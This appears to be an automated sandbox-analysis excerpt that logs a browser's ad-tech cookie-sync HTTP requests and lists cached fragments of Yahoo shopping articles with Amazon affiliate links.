Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=o2ksvWLN1S0QKf5; matchmedianet=5
Source: global traffic	HTTP traffic detected: GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs
Source: global traffic	HTTP traffic detected: GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: d=EFsBDQHbK9-owQA; mc=662d7f4b-a445d-ea91f-134df
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725.17\|iKvPvMgakWgy.bwuYhEgKg2f8; univ_id=537072971\|43e7dc8e-5458-4375-be4a-644737ed4dbd\|1714257742735200
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=4&gdpr=0 HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; _ssuma=eyIyNiI6MTcxNDI1Nzc0MjY1MywiMzkiOjE3MTQyNTc3NDI2NTMsIjciOjE3MTQyNTc3NDI2NTN9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=triplelift&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=4394171109507437451801 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ1bnJ1bHkiOnsidWlkIjoiUlgtOTE1OTQ1YjItNmFmMy00OTc1LTk4MzktZmViZTczYzczYTc0LTAwNSIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjIxLjYxMDkxNzYwMloifSwieWllbGRtbyI6eyJ1aWQiOiJWY0puU1NTWFhuU3ExOUFMOWtTUSIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjE1Ljk4MDA2NzU4MloifX19
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=25&p=52&dis=0&gdpr=&gdpr_consent=&url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D462%26ssp%3Dcriteo%26user_id%3D%40%40CRITEO_USERID%40%40 HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssp-sync.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=pba&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1; data-so=2d729954-b637-472c-acf0-d931fcda5d4a~~8; data-mf=786797b7-bf38-456a-a874-4aad6fb5186b~~1; data-g=CAESEPKex8KgiD5UyK1lepusKL4~~8; data-o=0c862afa-665c-0e9e-22ac-a733d256e22a~~8; data-c=3a1484ea-90ac-4bdd-895c-934bad280353~~1; data-c-ts=1714257737; data-xu=o2ksvWLN1S0QKf5~~8; data-co=AAACDi8HYa-cRgMTW_ICAAAAAAA~~8
Source: global traffic	HTTP traffic detected: GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1Host: sync.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=f26e662d-7f4d-4d00-b052-4dd564d435a2
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub8730968190912 HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=OPU690312adc0a749a7834a32518588f9ba
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=480&ssp=themediagrid&user_id=1476058396850158061&&gdpr=&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssp-sync.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222069.28%22%2C%22nxtrdr%22%3Afalse%7D
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/Martin?exid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1Host: crb.kargo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901

Source: chromecache_583.3.dr	String found in binary or memory: "id": "com.yahoo.www.twa", equals www.yahoo.com (Yahoo)
Source: chromecache_583.3.dr	String found in binary or memory: "android_package_name": "com.yahoo.www.twa", equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: blooms anew. It's a pretty joyous time ... but not if you haven't gotten all those not-so-joyous tasks done by this, the last weekend of the month. You know the ones: a top-to-bottom housecleaning, the stowing away of winter wear and stocking up on summery togs, a replenishment of your tech and beauty arsenals. So, we're issuing a mayday (oh yeah, May Day is next Wednesday): Let Amazon's boffo weekend sale help you get set for the balmy days ahead. Show your dusty, dreary floors who's boss with an <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:1;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0VsZWN0cm9sdXgtRXJnb3JhcGlkby1TdGljay1WYWN1dW0tU2F0aW4vZHAvQjA4VlhKWENIRC8_dGFnPXlsZTAxLXAtby1oczEtMjAiLCJjb250ZW50VXVpZCI6IjhlZjhiZDU5LWMwZjktNDk4Zi1iOWQzLTliN2Q1ODQ5N2E0OCJ9&signature=AQAAASqc26mZ9oj5kYPypjsw4Qi9GLKeijbXyLUVx9-zspuG&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FElectrolux-Ergorapido-Stick-Vacuum-Satin%2Fdp%2FB08VXJXCHD%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Electrolux stick vac;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:1;pos:1;itc:0;sec:content-canvas\">Electrolux stick vac </a>for over 50% off. The best Amazon deals? Clean up with a <em>$1,000-plus markdown</em> on a <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0FDRU1BR0lDLUNvbXB1dGVyLVdpbmRvd3MtSW50ZWxOOTUtUHJvY2Vzc29yL2RwL0IwQ1JSU0RUUlk_dGFnPXlsZTAxLXAtby1oczEtMjAiLCJjb250ZW50VXVpZCI6IjhlZjhiZDU5LWMwZjktNDk4Zi1iOWQzLTliN2Q1ODQ5N2E0OCJ9&signature=AQAAAbHmuaQhw0yXlMWV3jqvAZqhp8DC3dLuBb3s0GE8RKG1&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FACEMAGIC-Computer-Windows-IntelN95-Processor%2Fdp%2FB0CRRSDTRY\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:bangin' new laptop;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1;itc:0;sec:content-canvas\">bangin' new laptop</a>. Get you and yours stocked up with shorts equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: including sensitive skin.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 640px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:67% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/aIaZ8sm841SW45yx6vAqSg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xNjAw/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0NFVEFQSElMLUh5ZHJhdGluZy1TZW5zaXRpdmUtRnJhZ3JhbmNlLU5vbi1Gb2FtaW5nL2RwL0IwOTlNVjVKOTQ_dGFnPXlsZTAxLXAtby1oN3ktMjAiLCJjb250ZW50VXVpZCI6IjQ0ZmExOWM0LTIxNmEtNGI1ZS05NDFmLWU3NDVhNmJiODJiMSJ9&signature=AQAAAbHyUGYEufBbikIba1ziwblEJWMgctYI398872JjDfNU&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FCETAPHIL-Hydrating-Sensitive-Fragrance-Non-Foaming%2Fdp%2FB099MV5J94 data-ylk><img class=\"caas-img caas-lazy\" alt=\"Reese Witherspoon attends the AFI Awards at Four Seasons Hotel Los Angeles at Beverly Hills on January 12, 2024 in Los Angeles, California\" data-src=https://s.yimg.com/ny/api/res/1.2/jLKrPTFXXoK2VXCzd67O0w--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MA--/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f><noscript><img alt=\"Reese Witherspoon attends the AFI Awards at Four Seasons Hotel Los Angeles at Beverly Hills on January 12, 2024 in Los Angeles, California\" src=https://s.yimg.com/ny/api/res/1.2/jLKrPTFXXoK2VXCzd67O0w--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MA--/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>Even A-listers love affordable beauty products! (Michael Kovac/Getty Images for AFI)<span class=caption-credit> (Michael Kovac via Getty Images)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-reviewers-say- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr	String found in binary or memory: including sensitive skin.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 640px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:67% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/pGTexatcMaRT8uzFUrYIKw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xNjAwO2NmPXdlYnA-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0NFVEFQSElMLUh5ZHJhdGluZy1TZW5zaXRpdmUtRnJhZ3JhbmNlLU5vbi1Gb2FtaW5nL2RwL0IwOTlNVjVKOTQ_dGFnPXlsZTAxLXAtby1oN3ktMjAiLCJjb250ZW50VXVpZCI6IjQ0ZmExOWM0LTIxNmEtNGI1ZS05NDFmLWU3NDVhNmJiODJiMSJ9&signature=AQAAAbHyUGYEufBbikIba1ziwblEJWMgctYI398872JjDfNU&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FCETAPHIL-Hydrating-Sensitive-Fragrance-Non-Foaming%2Fdp%2FB099MV5J94 data-ylk><img class=\"caas-img caas-lazy\" alt=\"Reese Witherspoon attends the AFI Awards at Four Seasons Hotel Los Angeles at Beverly Hills on January 12, 2024 in Los Angeles, California\" data-src=https://s.yimg.com/ny/api/res/1.2/FW.Rvg8FY3cPvOeAUSJV6g--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f><noscript><img alt=\"Reese Witherspoon attends the AFI Awards at Four Seasons Hotel Los Angeles at Beverly Hills on January 12, 2024 in Los Angeles, California\" src=https://s.yimg.com/ny/api/res/1.2/FW.Rvg8FY3cPvOeAUSJV6g--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper 